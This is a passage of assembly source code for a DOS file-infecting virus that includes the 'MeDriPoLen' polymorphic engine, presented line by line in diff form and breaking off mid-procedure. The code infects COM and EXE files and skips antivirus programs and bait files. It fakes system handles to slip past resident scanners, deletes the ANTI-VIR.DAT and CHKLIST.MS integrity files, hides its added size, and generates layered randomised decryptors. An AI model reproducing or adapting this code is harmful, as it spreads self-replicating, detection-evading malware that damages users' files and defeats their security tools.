Procedure to get a file name from a FCB +ObtenNombreFCB PROC + MOV BX, DX + CMP BYTE PTR [BX], 0FFh ; Add 7 if extended FCB + JNZ @@SaltoFCB_001 + ADD BX, 0007 +@@SaltoFCB_001: INC BX ; File name in BX + MOV SI, BX + PUSH CS + POP ES + MOV DI, Offset NombreFCB - 200h ;Place where the name will + MOV DX, DI ; be stored + CLD + MOV CX, 0008 ; Max length of name on a FCB +@@LoopFCB_01: LODSB ; Check if space + CMP AL, 20h + JZ @@FinLoopFCB ; If space, end loop + STOSB ; Store character + LOOP @@LoopFCB_01 +@@FinLoopFCB: MOV AL, '.' ; Extension + STOSB + LEA SI, [BX+08] ; SI=address of file extension on FCB + MOV CL, 03 +@@LoopFCB_02: LODSB ; Check if space + CMP AL, 20h + JZ @@FinLoopFCB_2 ; If space, end loop + STOSB + LOOP @@LoopFCB_02 +@@FinLoopFCB_2: XOR AL, AL ; Store a NUL character + STOSB + PUSH CS ; Return name in DS:DX + POP DS + RET +ObtenNombreFCB ENDP ; End of procedure + +;; Procedure to get the virus size in the file of the SFT in ES:DI +TamanyoReal PROC + MOV AX, ES:[DI+0Dh] ; Get time + AND AX, 1FE0h ; Get hour and minutes in AX + ROR AX, 5 + ADD AX, LongVirus2 ; Add static size + RET ; return +TamanyoReal ENDP + +;; FAKEHANDLE! It selects randomly a handle between 0000 and 0003 and substi- +;; tutes the handle in BX with the random handle. Handles from 0 to 4 are sys- +;; tem handles, and most resident anti-virus ignore operations on this han- +;; dles, so the virus can read/write appearing to be system operations. This +;; can be detected by IOCTL functions, but I stealth them! :) +;; VLAD: Thanks for this idea ;) +FakeHandle PROC + INC BYTE PTR CS:[ControlFunc44h-200h] + MOV CS:[AntHandle-200h], BX ; Save original handle + IN AL, 40h ; Get a random handle in BX + AND AL, 03h ; between 0 and 3 + XOR BH, BH + MOV BL, AL + MOV AH, 35h ; Duplicate system handle + CALL Int21h + MOV CS:[FakedHandle-200h], AX ; Save duplicated handle + MOV AH, 2Eh ; Close system handle + CALL Int21h + MOV BX, CS:[AntHandle-200h] ; Duplicate file handle. Now + MOV AH, 35h ; the function returns the + CALL Int21h ; closed system handle + PUSH AX ; Save handle + MOV BX, CS:[AntHandle-200h] ; Close file handle + MOV AH, 2Eh + CALL Int21h + POP BX ; Put in BX the new file handle + RET +FakeHandle ENDP + +ControlFunc44h DB 0 + +;; UNFAKEHANDLE! It restores all bad made with FAKEHANDLE :) +UnfakeHandle PROC + MOV AH, 2Eh ; Close actual handle on BX + CALL Int21h + MOV AH, 35h ;Duplicate the duplicated system handle. The + MOV BX, CS:[FakedHandle-200h] ; function will return the + CALL Int21h ; faked system handle. We leave it opened. + MOV AH, 2Eh ;Close the duplicated file handle. Now every + CALL Int21h ; handle is like before + DEC BYTE PTR CS:[ControlFunc44h-200h] + RET ; Return +UnfakeHandle ENDP + +;; Executable type (0=COM, 1=EXE) +TipoEjec DB 0 +;; Memory write zone +Basura15 dw 0 + +;; Routine to read the file header +LeeCabecera PROC + CALL PtrInicio ; Put pointer to the beginning + MOV AH, 2Fh ; Read 24 bytes of header + MOV CX, 0018h + MOV DX, Offset Cabecera-200h + MOV SI, DX + CALL Int21h + RET ; Return +LeeCabecera ENDP + +;; Routine to put handle pointer in the beginning of the file +PtrInicio PROC + XOR AX, AX ; AX=DX=0 + XOR DX, DX + MOV ES:[DI+15h], AX ; Put new pointer + MOV ES:[DI+17h], AX + RET ; Return +PtrInicio ENDP + +;; Procedure to put handle pointer in the end of the file +PtrFinal PROC + MOV AX, ES:[DI+11h] ; Get file size in DX-AX + MOV ES:[DI+15h], AX + MOV DX, ES:[DI+13h] ; Put this value like file pointer + MOV ES:[DI+17h], DX + RET +PtrFinal ENDP + +;; Procedure to put handle pointer in the end minus 1A bytes +PtrCasiFinal PROC + MOV AX, ES:[DI+11h] ; Get file size + MOV DX, ES:[DI+13h] + SUB AX, +1Ah ; Subtract 1A bytes from file size + SBB DX, +00h + MOV ES:[DI+15h], AX ; Put this value like pointer + MOV ES:[DI+17h], DX + RET ; Return +PtrCasiFinal ENDP + +;; Routine to get information about the name of the file from its SFT. The +;; routine will return Carry Flag if it hasn't a convenient name. +OperaHandle PROC + PUSH BX ; Get in DS:DI the System File Table + MOV AX, 1220h + INT 2Fh + JC @@Retorna + MOV BL, ES:[DI] + CMP BL, 0FFh + JZ @@Retorna + MOV AX, 1216h + INT 2Fh + JC @@Retorna + PUSH ES + POP DS + MOV AX, [DI+28h] ; Get extension on AL-AH-CL + MOV CL, [DI+2Ah] + ADD CL, 0B3h ; If CL was "M", now CL=0 + ADD AX, 0B0BDh ; If AX was "CO", now AX=0 + JZ @@COMdeMomento ; If 0, jump + CMP AX, 0902h ; Was it "EX"? + JNZ @@Retorna ; If it isn't, return with Carry Flag +@@EXEdeMomento: CMP CL, 0F8h ; Was the third letter an "E"? + JZ @@Sigue001 ; If it was, jump and continue + JMP @@Retorna ; Return (error) +@@COMdeMomento: OR CL, CL ; Was the third letteer an "M"? (when the + ; first two bytes where a "CO") + JNZ @@Retorna ; If not, exit with Carry Flag +@@Sigue001: MOV AX, [DI+20h] ;Get two first letters of file name in AX + CMP AX, 'CS' ; AX="SC"? (SCAN) + JZ @@Retorna ; If it is, return + CMP AX, 'BT' ; AX="TB"? (ThunderByte) + JZ @@Retorna ; If it is, return + CMP AX, '-F' ; AX="F-"? (F-Prot) + JZ @@Retorna ; If it is, return + MOV CX, 0008 ; Search a digit or a "V" in the name. If + ADD DI, 0020h ; it exists, return with Carry Flag + MOV AL, 'V' + @@LLCD: CMP BYTE PTR ES:[DI], '0' + JB @@LLCD2 + CMP BYTE PTR ES:[DI], '9' + JBE @@Retorna + @@LLCD2: SCASB + JZ @@Retorna + LOOP @@LLCD + SUB DI, 0008h ; Is it the "COMMAND.COM"? + CMP WORD PTR [DI], 'OC' + JNZ @@Retorna2 + CMP WORD PTR [DI+2], 'MM' + JZ @@Retorna ; If it is, return with Carry Flag + @@Retorna2: SUB DI, 0020h + CLC + JMP @@Salto00 ; End. + @@Retorna: STC + @@Salto00: POP BX + RET +OperaHandle ENDP + +;; Procedure to change attributes and access mode on handle +CambiaAtributos PROC + MOV AX, ES:[DI] ; Get first word on SFT + MOV [Anterior_Count-200h], AX ; Save it + MOV WORD PTR ES:[DI], 0FFFFh ; SFT is now busy + MOV AL, ES:[DI+04] ;Get file attributes and sa- + MOV [Atributos-200h], AL ; ve them + MOV BYTE PTR ES:[DI+04], 0 ; Clear attributes + MOV AX, ES:[DI+02] ; Change access mode to + MOV WORD PTR [ModoAcceso-200h], AX ; read/write + MOV WORD PTR ES:[DI+02], 0002h + RET ; End. +CambiaAtributos ENDP + +;; Procedure to check if the file size is multiple of 512 or 500 +MiraSiRoundedSize PROC + PUSH AX + PUSH DX + MOV CX, 200h ; 512 + DIV CX + OR DX, DX ; If remainder=0, bad thing (it could be + POP DX ; a goat file) + POP AX + JZ @@Retorna + PUSH AX + PUSH DX + MOV CX, 1F4h ; 500 + DIV CX + OR DX, DX ; If remainder=0, bad thing (it could be + POP DX ; a goat file). + POP AX + @@Retorna: RET +MiraSiRoundedSize ENDP + +;; Little DATA section for the "CambiaAtributos" and "RestauraAtributos" +;; routine +Atributos DB 0 +Anterior_Count DW 0 +ModoAcceso DW 0 + +;; This part is very used in the virus (place where the time/date fields are +;; saved during dis/infection) +Hora DW 0 +Fecha DW 0 + +;; Procedure to restore file attributes +RestauraAtributos PROC + MOV AX, [Anterior_Count-200h] ; Restore all + MOV ES:[DI], AX + MOV AL, [Atributos-200h] + MOV ES:[DI+04], AL + MOV AX, [ModoAcceso-200h] + MOV ES:[DI+02], AX + RET ; End +RestauraAtributos ENDP + +;; Routine to patch int 24h, 1Bh and 23h +ParcheaInt24h PROC + PUSH EAX ; Save registers + PUSH BX + PUSH DS + PUSH ES + XOR AX, AX ; Get int 24h vector on ES:BX + MOV DS, AX + LES BX, DWORD PTR DS:[24h*4] + MOV EAX, DWORD PTR CS:[BytesInt24h-200h] ; Exchange first + XCHG EAX, ES:[BX] ;five bytes with the construc- + MOV DWORD PTR CS:[BytesInt24h-200h], EAX ; ted jump to our + MOV AL, BYTE PTR CS:[BytesInt24h-200h+4] ; int 24h + XCHG AL, ES:[BX+4] + MOV BYTE PTR CS:[BytesInt24h-200h+4], AL + LES BX, DWORD PTR DS:[1Bh*4] ; Get vector to int 1Bh and + MOV AL, CS:[ByteInt1Bh-200h] ; patch it with an IRET + XCHG AL, ES:[BX] + MOV CS:[ByteInt1Bh-200h], AL + LES BX, DWORD PTR DS:[23h*4] ; The same for int 23h + MOV AL, CS:[ByteInt23h-200h] + XCHG AL, ES:[BX] + MOV CS:[ByteInt23h-200h], AL + LES BX, DWORD PTR DS:[2Ah*4] + MOV AL, CS:[ByteInt2Ah-200h] + XCHG AL, ES:[BX] + MOV CS:[ByteInt2Ah-200h], AL + POP ES ; Recover registers + POP DS + POP BX + POP EAX + RET ; Return +ParcheaInt24h ENDP + +;; Zone where the 32 bit jump is constructed +BytesInt24h DB 5 DUP (0) +;; Program of int 24h +ProgramaInt24h: MOV AL, 03 ; Ignore error + MOV BYTE PTR CS:[EstadoInt24h-200h], AL ; An error has + IRET ; happened! and + ; return +ByteInt1Bh DB 0CFh ; Iret +ByteInt23h DB 0CFh ; Iret +ByteInt2Ah DB 0CFh ; Iret + +;; Procedure to get the name of the file that will be terminated with a "ter- +;; minate execution" function +ObtenNombre PROC + MOV AH, 52h ; Get PSP + CALL Int21h + MOV ES, BX + MOV ES, WORD PTR ES:[002Ch] ; Get Environment-Block seg- + ; ment in ES + XOR DI, DI + XOR AL, AL + CLD + @@Loop01: SCASB ; Search for a double 0 + JNZ @@Loop01 + SCASB + JNZ @@Loop01 + INC DI ; Increase DI to get on ES:DI the name of the + INC DI ; file currently in execution + MOV DX, DI + PUSH ES ; Return the name in DS:DX + POP DS + RET ; Return +ObtenNombre ENDP + +;;;; EMULATION OF "INT 21h". It has an error handler, so, if int 24h is ca- +;;;; lled, int 21h will return Carry Flag + +Int21h PROC ; Put 0 on the error variable. Int + MOV BYTE PTR CS:[EstadoInt24h-200h], 0 ; 24h set this to 3 + ADD AH, 10h ; Call traced int 21h + PUSHF + CALL DWORD PTR CS:[AntInt21h-200h] + PUSHF ; Save flags + CMP BYTE PTR CS:[EstadoInt24h-200h], 3 ; Int 24h error? + JZ @@Error ; Then, jump + POPF ; Restore flags and exit + RET + @@Error: POPF ; Nivelate stack + STC ; Set Carry Flag + RET ; Return +Int21h ENDP + +;;; Procedure to check if stealth must be avoided or not +MirarsiStealth PROC + MOV AX, WORD PTR ES:[DI+20h] ; Get first two bytes of the + ; file name in AX + CMP AX, 'HC' ; Check if file is CHKDSK + JNZ @@Salta1 + CMP WORD PTR ES:[DI+22h], 'DK' ; + JNZ @@Salta1 + CMP WORD PTR ES:[DI+24h], 'KS' + JZ @@ActivaStealth ; If it is, don't do stealth + @@Salta1: CMP AX, 'KP' ; heck if file is PK* (PKZIP,etc.) + JZ @@ActivaStealth ; If it is, don't do stealth + CMP AX, 'RA' ; "ARJ"? + JNZ @@Salta2 + CMP BYTE PTR ES:[DI+22h], 'J' + JZ @@ActivaStealth ; Don't do stealth, then + @@Salta2: CMP AX, 'AR' ; "RAR"? + JNZ @@Salta3 + CMP BYTE PTR ES:[DI+22h], 'R' + JZ @@ActivaStealth ; Don't do stealth, then + @@Salta3: CMP AX, 'HL' ; "LH*"? (LHARC, LHA, etc.) + JZ @@ActivaStealth ; Don't do stealth, then + MOV BYTE PTR CS:[NoStealth-200h], 0 ; DO stealth! + RET ; Return +@@ActivaStealth: + MOV BYTE PTR CS:[NoStealth-200h], 1 ; DON'T do stealth! + RET ; Return +MirarsiStealth ENDP + +;; Memory write zone +Basura16 dw 0 + +;; Routine to get SFT from a handle. The SFT address is returned in ES:DI +GetSFT PROC + PUSH BX + MOV AX, 1220h ; Get Job File Table + INT 2Fh + JC @@KKVF + MOV BL, ES:[DI] ; Get in BL the number of SFT + CMP BL, 0FFh ; Is the handle opened? + JZ @@KKVF ; If it isn't, return with Carry Flag + MOV AX, 1216h ; Get System File Table + INT 2Fh + JC @@KKVF ; If Carry, return with Carry :) + TEST BYTE PTR ES:[DI+05h], 80h + JNZ @@KKVF ; If remote file, error + POP BX + CLC ; Clear Carry Flag and exit + RET + @@KKVF: POP BX + STC ; Set Carry Flag and exit + RET +GetSFT ENDP + +;; Procedure to do a checksum of the file name and compare it to the checksum +;; of the file infected before. If it differs by 1, returns with Carry Flag. +;; This is done to avoid goat files. With following names, only the first file +;; will be infected. +CompruebaNombre PROC + CMP BYTE PTR CS:[Desinfeccion-200h], 01 ; Infecting KEYB? + JNZ @@Sigue ; If not, continue + DEC BYTE PTR CS:[Desinfeccion-200h] ; Put 0 on this field + JMP @@Infectar ; and return without Carry Flag + @@Sigue: MOV BP, 0007 + XOR AL, AL ; Add all letters from file name in + @@Loopeo: ADD AL, ES:[BP+DI+20h] ; AL + DEC BP + JNC @@Loopeo + MOV AH, BYTE PTR CS:[SumaNombre-200h] ; Exchange the new + MOV BYTE PTR CS:[SumaNombre-200h], AL ; value with old va- + SUB AL, AH ; lue and subtract old from new + CMP AL, 01 ; If result is 1 or -1, return with + JZ @@NoInfectar ; Carry Flag + CMP AL, 0FFh + JZ @@NoInfectar +@@Infectar: CLC + RET +@@NoInfectar: STC + RET +CompruebaNombre ENDP + +;; Memory write zone +Basura17 dw 0 + +;; Procedure to delete ANTI-VIR.DAT and CHKLIST.MS +BorraDATs PROC + PUSHA ; Save registers + PUSH DS + PUSH ES + MOV SI, DX ; DS:SI=Filename address + PUSH CS + POP ES ; ES:DI=Buffer address + MOV DI, Offset NewVirus-200h + MOV BP, DI ; Save last segmentation on file name ("\" or + MOV CX, 0100h ; ":"). + CLD + @@Loop1: LODSB ; Copy a character in both destination and AL + STOSB + CMP AL, ':' ; AL=":"? + JNZ @@Sigue001 ; If not, continue +@@Sigue002: MOV BP, DI ; Save position + JMP @@Loop1 ; Again +@@Sigue001: CMP AL, '\' ; AL="\"? + JZ @@Sigue002 ; If it is, save position and continue + OR AL, AL ; AL=0? (end of name) + JZ @@Sigue003 ; Jump and continue with the procedure + LOOP @@Loop1 ; Repeat comparisions with next character +@@Sigue003: JCXZ @@FinError ; If CX=0 (we've reached the limit), exit + MOV DI, BP ; Put in DI the last "\" or ":" reached + PUSH CS + POP DS + MOV SI, Offset ArchivoDAT1-200h ; Copy "ANTI-VIR.DAT" here + MOV CX, 000Dh + REP MOVSB + MOV DX, Offset NewVirus-200h ; Clear file attributes + MOV AX, 3301h + CALL Int21h + JC @@SigueconelOtro ; If error, do next + MOV AH, 31h ; Delete file + CALL Int21h +@@SigueconelOtro: + MOV SI, Offset ArchivoDAT2-200h ; Copy "CHKLIST.MS" to the + MOV DI, BP ;position where "ANTI-VIR.DAT" + MOV CX, 000Bh ; was copied + REP MOVSB + MOV AX, 3301h ; Clear its attributes + CALL Int21h + JC @@FinError ; If error, exit + MOV AH, 31h ; Delete file + CALL Int21h + @@FinError: POP ES ; Restore attributes + POP DS + POPA + RET ; Return +BorraDATs ENDP + +ArchivoDAT1 DB 'ANTI-VIR.DAT',0 +ArchivoDAT2 DB 'CHKLIST.MS',0 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;-------------------------------------------------------------------------;;; +;;--------------P-O-L-Y-M-O-R-P-H-I-S-M-----E-N-G-I-N-E--------------------;;; +;;-------------------------------------------------------------------------;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; Initially it hasn't no name, it just was "Squatter's poly engine". But I +;; know that it would sound silly in places like VDAT. Then, I searched for a +;; name, and I found one: "MeDriPoLen", Mental Driller's Polymorphism Engine. +;; I don't know how it sounds in english, but in spanish it is a kind of joke, +;; because it's very near to "Ciripolen", a spanish "moral-upper", a kind of +;; aphrodysiac :) . So, let's redefine the title... + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;-------------------------------------------------------------------------;;; +;;--------------------M-e-D-r-i-P-o-L-e-n-----v-0-.-1----------------------;;; +;;-M-e-n-t-a-l---D-r-i-l-l-e-r-'s---P-o-l-y-m-o-r-p-h-i-s-m---E-n-g-i-n-e--;;; +;;-------------------------------------------------------------------------;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +; I hope it'll be one of the polymorphiest engines, because, if it isn't, I'll +; crap on anything :) (it was a hard work) + +;;; Some little explanations: +;; The first decryptor that will be made is the second in order of execution. +;; More or less, the scheme of execution is: + +;; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&&&&&&&&&&&%%%%%%%%%%%% +;; VIRUS BODY (ENCRYPTED WITH 2 POLYMORPHIC DECRYPTOR FIRST DECRYPTOR +;; LAYERS, WITH THE FIRST AND THE SECOND (ENCRYPTED (NOT ENCRYPTED) +;; DECRYPTOR) WITH 1st DECRYPTOR) +;; --> --> --> --> --> --> --> --> --> --> --> --> --> --> +;; +;; The initial entrypoint is located on the first decryptor (but it's the se- +;; cond built by the engine). +;; The polymorphism will be always the same during 4 days and depending the +;; system (it initializes random seed using date and some values from the In- +;; terrupt Vector Table), so the virus can be qualificated like "slow polymor- +;; phic". +;; +;; Additionally, a third polymorphic decryptor has been added. It's little and +;; simple, and I catalogued it as "semi-polymorphic". +;; +;; The construction of a decryptor follows a Flag Register (BP), where a kind +;; of configuration bits are used to make the decryptor. This flags are like +;; it follows: + +;; Bit 0: Count number of loops: 0:Decreasing counter, 1:Increasing it +;; Bit 1: Add a word value to the index register (for example, [BX+459D]): +;; 0: NO, 1: YES +;; Bit 2: Modify key of decryption every loop: 0:NO, 1:YES +;; Bits 3 and 4: Method of decryption: +;; 0 and 0:XOR; 0 and 1:ADD; 1 and 0:SUB; 1 and 1:XOR +;; Bits 5 and 6: If 4th bit is set, then modify key with a: +;; 0 and 0:XOR; 0 and 1:ADD; 1 and 0:SUB; 1 and 1:ROL,1 +;; Bit 7: Encrypt by 0=word, 1=byte +;; Bit 8: 0: Don't use register to decrypt (direct value decrypting) +;; 1: Use register to decrypt (decrypt key in a register) +;; Bit 9: If it decrypts by register AND register is ?X AND it decrypts byte +;; to byte then: +;; 0: Use low byte of register (?L), 1:Use high byte of register (?H) +;; Bits 10 and 11: Use next method to jump to next decryptor or to virus +;; body: +;; 0 and 0: JMP +;; 0 and 1: RET +;; 1 and 0: REFT or RET 2 +;; 1 and 1: IRET, RETF 2 or RET 4 +;; +;; Bits 13 and 14: If the counter register is CX AND register is decreased in +;; every decryption loop, then: +;; 0 and 0: Don't use any LOOP instruction like below +;; 0 and 1: Use LOOPNZ to loop +;; 1 and 0: Use LOOPZ to loop +;; 1 and 1: Use LOOP to loop +;; Bit 15: Unused (maybe set in future versions) + +;; Note that only the engine takes as size as a polymorphic multipartite +;; full-stealth virus :) . + +HazVirus PROC + PUSH ES ; Save registers + PUSH BX + PUSH SI + PUSH DI + + MOV BYTE PTR [AntiEmulacion-200h], 5 ; Set to non 0 + + + CMP BYTE PTR [InstalacionPoli-200h], 0 ; Initialize ran- + ; dom seed? + JNZ @@NoInicAleatorio ; If not 0, don't initialize + CALL InicAleatorio ; Initialize random seed + PUSH EAX ; Save EAX + MOV EAX, DWORD PTR [WordAleatorio1-200h] ;Save random seed + MOV DWORD PTR [AntAleatorio-200h], EAX ;to use it in ano- + MOV AX, WORD PTR [WordAleatorio3-200h] ; ther infection + MOV WORD PTR [AntAleatorio-200h+4], AX ; (slow poly.) + POP EAX + INC BYTE PTR [InstalacionPoli-200h] ; Set to non 0 + JMP @@SiInicAleatorio +@@NoInicAleatorio: + PUSH EAX ; Recover last random seed. Every infec- + MOV EAX, DWORD PTR [AntAleatorio-200h] ; tion, until next + MOV DWORD PTR [WordAleatorio1-200h], EAX ; intallation of + MOV AX, WORD PTR [AntAleatorio-200h+4] ;the virus in memo- + MOV WORD PTR [WordAleatorio3-200h], AX ; ry, the polymor- + POP EAX ; phism doesn't change +@@SiInicAleatorio: + CLD + MOV AX, [InicioVirus-200h+1+16h] ;AX=Initial delta-offset + ; Set counter size on second decryptor + MOV WORD PTR [TamanyoContador-200h], LongVirus + MOV BYTE PTR [NumeroCALLs-200h], 0 ;Initialize amount of + XOR SI, SI ; CALLs + PUSH CS ; Copy virus in memory to "NewVirus" + POP ES + MOV DI, Offset NewVirus-200h + MOV CX, LongVirus / 2 + +;;; New part (adds a semi-polymorphic decryptor in the beginning). Until +;; UPCASE again + call Aleatorio ; Get a random number in AX + mov [WordEncriptado-200h], ax ; Put it as decryption key + mov dx, ax ; Copy all the virus to ES:DI encryp- + @@Loop_0: lodsw ; ted with this word + xor ax, dx + stosw + loop @@Loop_0 + + push di ; Save DI + mov di, Offset NewVirus - 200h ; DI = address where the + ; virus will be constructed + push di ; Save DI again + mov cx, 0016h ; Maximum size of this decryptor + mov al, 90h ; Store 22 NOPs + rep stosb + pop di ; Restore DI + @@Loop_1: call Aleatorio ; Get a random registre in AL + and al, 7 + cmp al, 4 ; Check if AL = 4 (SP registre) + jz @@Loop_1 ; If it is, repeat + mov [RegistroEncriptado-200h], al ; Put as key registre + and ah, 3 ; Get an index registre + add ah, 3 + cmp ah, 4 ; Check if AH=3 + jb @@Salta001 ; If it is, jump + add ah, 1 ; Add 1 to AH + cmp ah, 5 ; Check if AH = registre BP + jz @@Loop_1 ; If it is, jump and repeat + @@Salta001: cmp ah, al ; Check if the two selected registres + ; are equal + jz @@Loop_1 ; If they are, jump + mov [RegistroIndice-200h], ah ; Put AH as index registre + mov dx, ax ; Put both registres in DH and DL + @@Loop_2: call Aleatorio ; Get a random registre + and al, 7 + cmp al, dh ; Check if it's the same as another + jz @@Loop_2 ; before. If it is, repeat + cmp al, dl + jz @@Loop_2 + cmp al, 4 ; Is it SP? + jz @@Loop_2 ; If it is, repeat + mov [RegistroContador-200h], al ; Put it as counter reg. + mov bx, offset PonContador_X - 200h ;Call "PonContador_X", + mov cx, offset PonIndice_X - 200h ; "PonIndiceX" and + mov dx, offset PonEncriptador_X - 200h ;"PonEncriptador_X" + mov si, offset @@Retorno - 200h ; with a random order + call BarajaYLlama + mov [InicLoop-200h], di ; Put here the address of the + ; begin of the loop + mov ax, 312eh ; XOR CS:[xxx] instruction + stosw ; Store it + mov al, [RegistroIndice-200h] ; Get index registre + sub al, 2 ; Subtract 2 + cmp al, 1 ; Check if it is BX + ja @@KK0 ; If not, jump + mov al, 7 ; AL = 7 + @@KK0: mov dl, [RegistroEncriptado-200h] ; Get key registre in DL + rol dl, 3 ; Multiply it by 8 + add al, dl ; Construct opcode with memory index + ; and key registre + stosb ; Complete the decryption instruction + mov dl, [RegistroIndice-200h] ; Get index registre in DL + mov ax, 0fffeh ; AX = -2 + push ax ; Push it + call Aleatorio ; Get a random number between 0 and 3 + and al, 3 + jz @@PonINCINC ; If 0, put INC Reg/INC Reg + cmp al, 2 + jb @@PonSUB ; If 1, put SUB Reg + jz @@PonADD ; If 2, put ADD Reg + ; If 3, put another type of SUB +@@PonSUB2: mov ax, 0e883h ; SUBtract a signed word (but byte in + ; the opcode) + add ah, dl ; Set registre to utilize + stosw ; Store instruction + pop ax ; Pop ax, which was -2 + stosb ; Store -2 (but only a byte) + jmp @@Sigue2 ; Jump and continue + +@@PonSUB: mov ax, 0e881h ; SUBtract a word + add ah, dl ; Set the registre to the instruction + stosw ; Store the instruction + pop ax ; Pop ax (AX=FFFEh) + jmp @@Sigue1 ; Jump to store it + +@@PonADD: mov ax, 0c081h ; AX = opcode of ADD instruction + add ah, dl ; Set the registre + stosw ; Store it + pop ax ; Get AX from stack + neg ax ; Negate AX (AX=2) + jmp @@Sigue1 ; Jump to store it + +@@PonINCINC: call SioNo ; Random Zero Flag + pop ax ; Restore AX (AX=-2) + xchg ah, al ; exchange AH and AL + jz @@PonINCINC2 ; If Zero Flag, jump + mov al, 40h ; AL = opcode of INC AX + add al, dl ; Add registre number to opcode to + ; set the registre to utilize + stosb ; Store two INCs + stosb + jmp @@Sigue2 ; Jump and continue +@@PonINCINC2: mov ah, 0c0h ; AH = C0h, so opcode=FFC0h in AX + add ah, dl ; Set registre to instruction + stosw ; Store two INCs + @@Sigue1: stosw + @@Sigue2: mov dl, [RegistroContador-200h] ; Get counter in DL + cmp dl, 1 ; Test if counter is CX + jz @@CX ; If it is, jump + @@Todos: mov al, 48h ; AL = opcode of DEC + add al, dl ; Set registre to opcode + stosb ; Store it + call Aleatorio ; Get a random number between 0 and 3 + and al, 3 + mov bx, offset Saltos - 200h ; BX = address where there + ; are some conditional jump + ; opcodes, which are useful + ; to this comparision + xlat ; Get a random cond. jump + @@Sigue: stosb ; Store it + mov ax, [InicLoop-200h] ; Get the initial address of the + ; decryption loop + sub ax, di ; Calculate displacement + dec ax + stosb ; Complete jump instruction + jmp @@Sigue3 ; Jump and continue + + @@CX: call SioNo ; Random Zero Flag + jz @@Todos ; If Zero Flag, do DEC CX/Jxx... + mov al, 0e2h ; AL = opcode of LOOP + jmp @@Sigue ; Jump to complete instruction + @@Sigue3: pop di ; Restore DI + + MOV WORD PTR [LongDesencrip-200h], 0 ; Second decryptor + ; (if it were the first, it won't + ; be 0) + CALL HazVirus2 ; Generate decryptor in ES:DI + + MOV CX, [LongDesencrip-200h] ; Encrypt the virus body + ADD CX, LongVirus ; using the random values ge- + MOV [TamanyoContador-200h], CX ; nerated while construc- + MOV CX, LongVirus ; ting the decryptor + CALL CriptaVirus + MOV DI, [LongDesencrip-200h] ;Get size of second decryptor + ADD DI, LongVirus ; Add size of clean virus + MOV CX, DI ; Put it on CX + ADD CX, [InicioVirus-200h+1+16h] ; Add Delta-offset to get + ; initial entry-point on the + ; infected file + PUSH DI ; Save DI + ADD DI, Offset NewVirus - 200h ; Put on DI the address + ; where the first decryptor + ; will be constructed + MOV WORD PTR [InicValoresEXE-200h+0Ch], CX ; IP on EXE + ; initial register values + CALL HazVirus2 ; Construct first decryptor + POP CX ; Revalue CX with saved DI to + PUSH CX ;encrypt with the first layer + CALL CriptaVirus ; both virus (again) and se- + ; cond decryptor + POP CX ; Restore CX + MOV DX, CX ;Add bytes to constructed vi- + ADD CX, [LongDesencrip-200h] ; rus until it reaches the + MOV DI, Offset NewVirus-200h ; static size of (LongVirus2- + ADD DI, CX ; -1Ah) + MOV BX, LongVirus2 - 001Ah + SUB BX, CX + JZ @@KKDCD + JB @@CCCDC ; If there is an error on size (too + ; long), put 0 in CX and exit + @@LCLC: CALL Aleatorio + STOSB + DEC BX + JNZ @@LCLC +@@KKDCD: MOV BP, LongVirus2 ; Now add a pseudo-random amount of + MOV CX, [Hora-200h] ; bytes to achieve different virus + AND CX, 1FE0h ; sizes in every file, but the + ROR CX, 5 ; stealth has to continue working. I + JCXZ @@FinNN ; used a little trick to do this, and + PUSH CX ; it consisted on adding the result + @@JJJJJV: CALL Aleatorio ; of a little operation with the hour + STOSB ; and minutes of the file. Then, it's + LOOP @@JJJJJV ; very easy to subtract this size + ; when DIR is made, for example + POP CX ; Restore CX + + @@FinNN: ADD CX, BP ; Now encrypt the file header and add + PUSH CX ; it to the end of the file. Then add + MOV CX, 0018h ; the byte-key of encryption and the + CALL Aleatorio ; real seconds of the file + MOV SI, Offset Cabecera2-200h + PUSH CS + POP ES + @@Loopeo: LODSB + XOR AL, AH ; Here it crypts every byte of the + STOSB ; header + LOOP @@Loopeo + MOV AL, AH + STOSB + MOV AL, BYTE PTR [Hora-200h] + STOSB + POP CX ; Here, there is a constructed virus + @@KK34: + POP DI ; in "NewVirus", that only has to be + POP SI ; added to the file to go well. + POP BX + POP ES + @@Retorno: RET + @@CCCDC: XOR CX, CX ; 0 to CX (error) + JMP @@KK34 ; Jump and exit +HazVirus ENDP + +;;; This routines are for the little decryptor in the beginning +PonContador_X proc + mov cx, LongVirus / 2 ; This puts a MOV with the value + mov dl, [RegistroContador-200h] ; of the counter to the + jmp PonMOV_X ; counter registre +PonContador_X endp + +PonIndice_X proc + mov cx, [InicioVirus-200h+1+16h] ; This puts a MOV with + add cx, 0016h ; the initial value of the + mov dl, [RegistroIndice-200h] ; index registre to the in- + jmp PonMOV_X ; dex registre +PonIndice_X endp + +PonEncriptador_X proc + mov cx, [WordEncriptado-200h] ; This puts the MOV to set + mov dl, [RegistroEncriptado-200h] ; value to the key re- +PonEncriptador_X endp ; gistre + +;; This routine constructs a direct MOV +PonMOV_X proc + call Aleatorio ; Get a random number between 1 and 3 + and al, 3 + jz PonMOV_X + cmp al, 2 ; Check what MOV we are going to put + jb @@PonMOV1 + jz @@PonMOV2 +@@PonMOV3: mov ax, 068dh ; Put LEA Reg,[Value] + rol dl, 3 + @@Fin2: or ah, dl + stosw + @@Fin: mov ax, cx + stosw + ret +@@PonMOV1: mov al, 0b8h ; Put MOV Reg,Value (1 byte + value) + add al, dl + stosb + jmp @@Fin +@@PonMOV2: mov ax, 0c0c7h ; Put MOV Reg,Value (2 bytes + value) + jmp @@Fin2 +PonMOV_X endp + +;; Identification of the engine +Ident db 0,'[MeDriPolEn v0.1]',0 +;;; Procedure to encrypt an especified amount of an especified part of virus +CriptaVirus PROC + MOV SI, Offset NewVirus-200h ; Begin to crypt here + MOV AX, [WordEncriptado-200h] ; Key of encryption + MOV DX, [WordCambio-200h] ; Word for change key + MOV BP, [Banderas-200h] ; Flags of decryptor + TEST BP, 0080h ; Crypt by byte or word? + 